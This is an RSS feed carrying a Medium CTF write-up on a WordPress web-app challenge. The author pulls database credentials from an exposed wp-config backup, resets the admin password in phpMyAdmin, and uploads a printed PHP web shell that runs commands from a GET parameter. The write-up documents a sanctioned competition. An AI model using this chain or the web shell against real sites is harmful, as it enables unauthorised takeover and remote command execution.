<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhishek S on Medium]]></title>
        <description><![CDATA[Stories by Abhishek S on Medium]]></description>
        <link>https://medium.com/@abhisheksidharth?source=rss-59aa8b1d4cf7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IVCVibPgH1VBJxlkkOU-pw.png</url>
            <title>Stories by Abhishek S on Medium</title>
            <link>https://medium.com/@abhisheksidharth?source=rss-59aa8b1d4cf7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 17:56:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhisheksidharth/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CTF Writeup — Capture South Africa [Red Team Village — Defcon TVM]]]></title>
            <link>https://medium.com/bug-bounty-hunting/ctf-writeup-capture-south-africa-red-team-village-defcon-tvm-9b03097d2bb3?source=rss-59aa8b1d4cf7------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b03097d2bb3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[information-technology]]></category>
            <dc:creator><![CDATA[Abhishek S]]></dc:creator>
            <pubDate>Mon, 01 Oct 2018 11:00:25 GMT</pubDate>
            <atom:updated>2018-10-01T11:31:43.787Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*RSbjxAhktMFtDlDFnd2gTQ.png" /></figure><p>This is a write-up for the <strong>WEB-APP Challenge [Capture South Africa]</strong> in <strong>Redteamvillage’s CTF event at Defcon TVM 0x02.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*uEVarjb0x0MOYK4W.jpg" /></figure><p>Special thanks to my awesome team members of defcon_speakers_0x02 (Sreeram KL &amp; Vishnuprasad PG)…</p><p><a href="http://l**p.v*******.xyz/"><strong>http://l**p.v*******.xyz</strong></a> was a web application which was running wordpress instance, while doing basic enumeration, i noticed that the wordpress version used was the most latest one, and the first post was something fishy, the first post’s author name was ‘victimcorp’… i was checking for common vulnerablities that were present in wordpress, i checked for vulnerable plugins and stuff, but couldn’t find any and all were latest, i remember reading a POC in which wp-config file was downloadable, so i thought to try that, but i failed, then i tried adding a .bak (i.e: <a href="http://l**p.v*******.xyz/wp-config.php.bak)">http://l**p.v*******.xyz/wp-config.php.bak)</a> and there was a backup file, and it did download!</p><p>Hurray!!!, I’ve checked it and it was the common config file with the configuration &amp; credentials of the database, I’ve got the username and password from there, I checked for the open ports &amp; instances with nmap, and it was pretty surprising that there was no instance related to DB running, I suddenly got an idea, i just went into /phpmyadmin/ and tried the db credentials! hurray! i logged into the phpmyadmin dashboard, i went to the corresponding database and went to the table wp-users, the password for admin there was encrypted, so i got an idea, instead of decrypting that, i just encrypted ‘test123’ into wordpress salted pass, and updated the pass of user ‘victimcorp’ with an sql DML command.</p><p>now, i went to /wp-admin/ and logged into the admin account, we all thought that the flag would be inside the admin panel, but it was not there! where was it? suddenly i got an idea to shell the server, i went to themes, and added a .php file with the following code.</p><p>&lt;?<br>?&gt;<br>&lt;HTML&gt;<br>&lt;BODY&gt;<br>&lt;FORM METHOD=”GET” NAME=”cmdform” ACTION=””&gt;<br>&lt;INPUT TYPE=”text” NAME=”linux command”&gt;<br>&lt;INPUT TYPE=”submit” VALUE=”command”&gt;<br>&lt;/FORM&gt;<br>&lt;?<br>if($_GET[‘cmd’]) {<br>system($_GET[‘cmd’]);<br>}<br>?&gt;<br>&lt;/BODY&gt;&lt;/HTML&gt;</p><p>and used ls, and some basic commands, and the flag was inside the /www2/ directory in a file called flag.txt</p><p>This was a webapp challenge in the redteamvillage’s ctf, and i loved pr3wning it! There were 6 challenges in total, and our team managed to solve 5 of them, and won the 2nd place :)</p><p>Thanks for reading, I hope it was a good read!</p><p>P.S: I’ve wanted to make a writeup for the other challenges too, but i don’t have much time with me in order to do that :(</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b03097d2bb3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bug-bounty-hunting/ctf-writeup-capture-south-africa-red-team-village-defcon-tvm-9b03097d2bb3">CTF Writeup — Capture South Africa [Red Team Village — Defcon TVM]</a> was originally published in <a href="https://medium.com/bug-bounty-hunting">Bug Bounty Hunting</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>